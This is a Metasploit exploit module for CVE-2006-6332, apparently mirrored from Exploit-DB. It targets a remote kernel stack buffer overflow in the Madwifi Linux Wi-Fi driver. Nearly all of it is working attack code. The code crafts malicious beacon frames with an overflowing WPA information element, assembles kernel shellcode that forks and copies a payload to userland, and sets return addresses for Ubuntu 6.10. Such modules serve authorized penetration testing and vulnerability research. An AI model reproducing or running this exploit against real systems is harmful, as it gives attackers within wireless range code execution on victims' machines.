Madwifi – SIOCGIWSCAN Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16835/
  • ##
    # $Id: madwifi_giwscan_cb.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    # Madwifi remote kernel exploit
    # 100% reliable, doesn't crash wifi stack, can exploit
    # same target multiple times
    #
    # Julien TINNES <julien at cr0.org>
    # Laurent BUTTI <0x9090 at gmail.com>
    #
    # vuln in giwscan_cb, here's the path:
    #
    # ieee80211_ioctl_giwscan -> ieee80211_scan_iterate -> sta_iterate -> giwscan_cb
    #
    
    require 'msf/core'
    require 'metasm'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = AverageRanking
    
    	include Msf::Exploit::Lorcon2
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Madwifi SIOCGIWSCAN Buffer Overflow',
    			'Description'=> %q{
    					The Madwifi driver under Linux is vulnerable to a remote kernel-mode
    				stack-based buffer overflow.
    
    				The vulnerability is triggered by one of these properly crafted
    				information element: WPA, RSN, WME and Atheros OUI Current madwifi
    				driver (0.9.2) and and all madwifi-ng drivers since r1504 are
    				vulnerable
    
    				Madwifi 0.9.2.1 release corrects the issue.
    
    				This module has been tested against Ubuntu 6.10 and is 100% reliable,
    				doesn\'t crash the Wifi stack and can exploit the same machine multiple
    				time without the need to reboot it.
    
    				This module depends on the Lorcon2 library and only works on the Linux
    				platform with a supported wireless card. Please see the Ruby Lorcon2
    				documentation (external/ruby-lorcon/README) for more information.
    			},
    			'Author' =>
    				[
    					'Julien Tinnes <julien at cr0.org>',
    					'Laurent Butti <0x9090 at gmail.com>'
    				],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					['CVE', '2006-6332'],
    					['OSVDB', '31267'],
    					['URL', 'http://www.madwifi.org']
    				],
    			#'Stance' => Msf::Exploit::Stance::Passive,
    			'Platform' => 'linux',
    			'Arch'		 => [ ARCH_X86 ],
    			'Payload' =>
    				{
    					#'Space' => 65,
    					# Metasploit doesn't support dynamic size payloads
    					# so we will handle this in metasm instead and ask for
    					# the smaller payload possible
    					#'Encoder'	 => Msf::Encoder::Type::Raw,
    					'DisableNops' => true
    				},
    			'Targets'=>
    				[
    					[ 'Ubuntu 6.10',
    						{
    							'JMPESP' => 0xffffe777,
    							'scan_iterate_ra' => "0x8014401"
    						}
    					],
    
    					[ 'Generic (you need non randomized vdso)',
    						{
    							'JMPESP' => 0xffffe777,
    							'scan_iterate_ra' => nil
    						}
    					]
    				],
    			'DisclosureDate' => 'Dec 08 2006'
    		))
    
    		register_options(
    			[
    				OptBool.new('SINGLESHOT', [ true, "Break after first victim (for msfcli)", 'false']),
    				OptString.new('SSID', [ true, "The SSID of the emulated access point", 'test']),
    				OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 600]),
    				OptInt.new('LENGTH', [ true, "Length after local variables in giwscan_cb() to overwrite", 24]),
    				OptString.new('ADDR_DST', [ true,"The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']),
    			], self.class)
    	end
    
    	def exploit
    		open_wifi
    
    		#puts "kikoo " + payload.encoded.inspect
    		#puts payload.encoded.to_s.unpack('C*').map { |i| i.to_s 16 }.join(',')
    
    		stime = Time.now.to_i
    		rtime = datastore['RUNTIME'].to_i
    		count = 0
    
    		print_status("Shellcode size is: #{payload.encoded.length} bytes")
    		print_status("Creating malicious beacon frame...")
    
    		frame = create_beacon()
    
    		print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...")
    
    		while (stime + rtime > Time.now.to_i)
    			wifi.write(frame)
    			select(nil, nil, nil, 0.10) if (count % 100 == 0)
    			count += 1
    			break if session_created? and datastore['SINGLESHOT']
    		end
    
    		print_status("Completed sending #{count} beacons.")
    	end
    
    
    	def create_beacon
    
    		ssid = datastore['SSID'].to_s
    		bssid= Rex::Text.rand_text(6)
    		channel= datastore['CHANNEL'].to_i
    		len= datastore['LENGTH'].to_i
    		seq= [rand(255)].pack('n')
    		jmpesp = target['JMPESP']# jmp esp in vdso
    
    		# address just after the call (in ieee80211_scan_iterate in wlan.ko)
    		scan_iterate_ra=target['scan_iterate_ra']
    
    		if scan_iterate_ra
    			howtoreturn = "RETURN_PROPERLY" # Return to the parent of giwscan_cb parent
    		else
    			howtoreturn = "RETURN_BADLY"# Return to userland with IRET
    		end
    
    		bssiwlist = 0x0804ddd0
    
    		stacksize = "STACK_8K"
    		getregs = "CALCULATE"
    		#getregs = "IWANTTOSCANMANUALLY"
    		reg_cs = "0x73"
    		reg_ss = "0x7b"
    
    		wiframe = Metasm::Shellcode.assemble Metasm::Ia32.new, <<EOS
    #define #{stacksize} 1
    #define #{getregs} 1
    #define CS #{reg_cs}
    #define SS #{reg_ss}
    #define #{howtoreturn} 1
    
    ; chunk1
    db 0, 0x50, 0xf2	; wpa_oui
    db 1			; wpa_typ
    db 1, 0			; wpa_ver
    
    back2:
    ;push 0x1C
    ;ret
    
    ;cld
    
    #ifdef RETURN_PROPERLY
    mov ebx, esp		; save esp
    #endif
    
    #ifdef IWANTTOSCANMANUALLY
    mov	eax, 4
    checkforcs:
    add esp, eax
    cmp dword ptr [esp], 0x73	; scan for cs
    jnz checkforcs
    
    cmp dword ptr [esp+12], 0x7b	; scan for ss
    jnz checkforcs
    
    mov edi, dword ptr [esp+8] 	; put user stack address in edi
    push edi
    
    ; NO SCAN, calculate the good value
    #else
    
    
    #ifdef STACK_8K
    or	esp, (0x2000-1)	; assume 8K stack
    #else
    or	esp, (0x1000-1)	; assume 4K stack
    #endif
    
    sub	esp, 0x17		; cf return_from_syscall
    mov edi, dword ptr [esp+8]
    push edi
    
    ;IWANTTOSCANMANUALLY
    #endif
    
    ; We can also go to BSS instead of stack
    ;mov edi, #{bssiwlist}
    ;push edi
    
    call endsc
    
    beginsc:
    #if 0
    call greetings
    toto db "You're pwn3d :(\\n"
    greetings:
    mov eax, 4
    mov ebx, 1
    pop ecx
    mov edx, (greetings - toto)
    int 0x80
    #endif
    
    xor eax, eax
    inc eax
    inc eax
    int 0x80	; fork
    cmp eax, 0
    jnz doexit
    
    ;#include "/home/julien/Audit/metasploit3/modules/exploits/linux/madwifi/connectback.asm"
    
    ;; Metasploit's shellcode integration
    ; Old, bad method
    ;metasc db "#{payload.encoded.unpack('C*').map { |i| '\\x%02x' % i }.join}"
    
    ; this will be replaced by metasploit's payload
    metasc:
    ; metasm will add padding here so that the next .offset is honored
    .pad db 0x33
    metascend:
    
    doexit:
    #if 1
    ; exit
    xor eax, eax
    inc eax
    ;mov ebx, 42
    int 0x80
    #endif
    endsc:
    
    pop esi
    ; let's copy the shellcode to userland
    mov ecx, endsc - beginsc
    rep movsb
    
    #ifdef RETURN_PROPERLY
    mov esp, ebx			; restore stack pointer
    
    ; If SCANFOR_SCAN_ITERATE defined
    ; scan for ieee80211_scan_iterate
    ; example address: e0b46401 (scan_iterate+0x11)
    ; It should be easier to use this if porting the exploit in a hurry
    ;#define SCANFOR_SCAN_ITERATE
    
    #ifdef SCANFOR_SCAN_ITERATE
    sub esp, 4			;you can remove this in most cases
    checkforretadd:
    add esp, 4
    mov ebx, dword ptr [esp+16]	; scan for return address, we know that we have
    				; four saved register before the return address
    				; (+16)
    and	ebx, 0x07FF
    cmp	ebx, #{scan_iterate_ra} & 0x07FF
    jnz checkforretadd
    
    ;mov ebp, edi			; fixup EBP (cf end of ieee80211_ioctl_giwscan which will use it)
    				; we need a writeable address
    
    #endif
    ; Here we know the stack layout and esp already has the correct value
    
    pop ebx				; Well, no need to fixup EBP, just run
    				; sta_iterate epilogue, thanks Staphane Duverger,
    				; how could I miss that!
    pop esi
    pop edi
    pop ebp
    
    ; release the locks
    push esi			; save esi
    mov eax, edi			; we use the fact that edi has the same value in ieee80211_ioctl_giwscan
    				; just before the call to i*_scan_iterate and in sta_iterate just before
    				; the ret
    mov eax, [eax+0x978]		; cf. i*_scan_iterate
    mov esi, [eax+8]		; cf. sta_iterate
    
    xor eax, eax
    inc eax
    mov edx, eax
    ;xchg	dl, [esi]		; already unlocked
    xchg	al, [esi+0x8C]		; release the lock!
    
    pop esi
    
    ret				; end of sta_iterate epilogue
    
    ; Else we don't return properly
    #else
    
    ; we directly return from the syscall
    iret
    
    #endif
    
    .offset 64*2+21
    
    ; chunk2
    back1:
    jmp.i back2
    dd 0			; this MUST be zero
    
    ; chunk3
    dd 0, 0, 0, 0		; end_buf, current_ev, ieee, iwscanreq
    
    ; chunk4
    db #{len-6} dup(0x33)
    ;dd 0xffffe777		; addr of 'jmp esp' in vdso page
    dd #{jmpesp}
    jmp.i8 back1
    ; assert
    .offset 198
    ;.padto 198		; assert
    EOS
    		wiframe.encoded.patch("metasc", "metascend", payload.encoded)
    		value = wiframe.encode_string
    
    		#,'monadresseip'=>(('172.24.94.252'.split('.').reverse.inject(0) { |ip, byte| (ip << 8) | byte.to_i }) ^ 0xffffffff)
    
    		#puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',')
    
    		if (len == 24 and value.length != 198)
    			raise "Value is too big! #{value.length}"
    		end
    
    		buf = "\xdd" + value.length.chr + value
    
    		frame =
    			"\x80" +# type/subtype
    			"\x00" +# flags
    			"\x00\x00" +# duration
    			eton(datastore['ADDR_DST']) + # dst
    			bssid + # src
    			bssid + # bssid
    			seq + # seq
    			Rex::Text.rand_text(8) +# timestamp value
    			"\x64\x00" +	# beacon interval
    			"\x01\x00" +		# capabilities
    
    			# ssid IE
    			"\x00" + ssid.length.chr + ssid +
    
    			# supported rates IE
    			"\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" +
    
    			# channel IE
    			"\x03" + "\x01" + channel.chr +
    
    			# invalid wpa IE buffer overflow
    			# wpa ie is an example, still valid for other IEs
    			buf
    
    		return frame
    	end
    
    end